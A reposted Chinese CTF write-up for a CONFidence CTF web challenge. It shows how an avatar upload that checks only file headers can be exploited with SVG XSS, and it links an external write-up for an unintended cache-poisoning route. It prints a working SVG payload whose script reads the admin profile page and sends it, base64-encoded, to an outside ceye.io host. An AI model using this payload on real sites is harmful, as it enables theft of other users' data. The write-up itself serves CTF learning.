CONFidence CTF的一道题

admin 2024年8月18日00:52:25评论10 views字数 1261阅读4分12秒阅读模式

这道题是之前在看先知的文章看到了,看了一下发现有点有趣,记录一下

题目

地址:http://web50.zajebistyc.tf/
预期解是svg xss,非预期是缓存投毒
首先我们先看一下题目,进去是登录框,随便乱填就可以进去
CONFidence CTF的一道题
进去以后有一个头像上传的地方和secret的值,猜测应该是拿到管理员的secret值,然后利用点应该就是头像上传的地方了

SVG XSS

在测试的过程中发现可以上传任意后缀的文件,但是文件头必须是图片格式且尺寸只能是100*100,而且上传html文件时发现服务器会将文件当做图片解析,因此后台应该是根据文件头去进行解析的,所以我们可以找一个可以进行xss的图片,也就是svg
原理参考: https://www.hackersb.cn/hacker/85.html
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>
var xmlhttp = new XMLHttpRequest();
var response;
xmlhttp.onreadystatechange = function() {
if (4 == xmlhttp.readyState) {
if (200 == xmlhttp.status) {
location.href='http://onsdtb.ceye.io?'+btoa(xmlhttp.responseText);
}
}
};
xmlhttp.open("GET", "/profile/admin");
xmlhttp.send();
</script>
</svg>

缓存投毒

这里贴一波国外的师傅的writeup:https://ctftime.org/writeup/13925
因为这个考点触及到我的知识盲区了,肉鸡决定研究一下

参考

FROM:Xi4or0uji

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日00:52:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CONFidence CTF的一道题https://cn-sec.com/archives/3074901.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息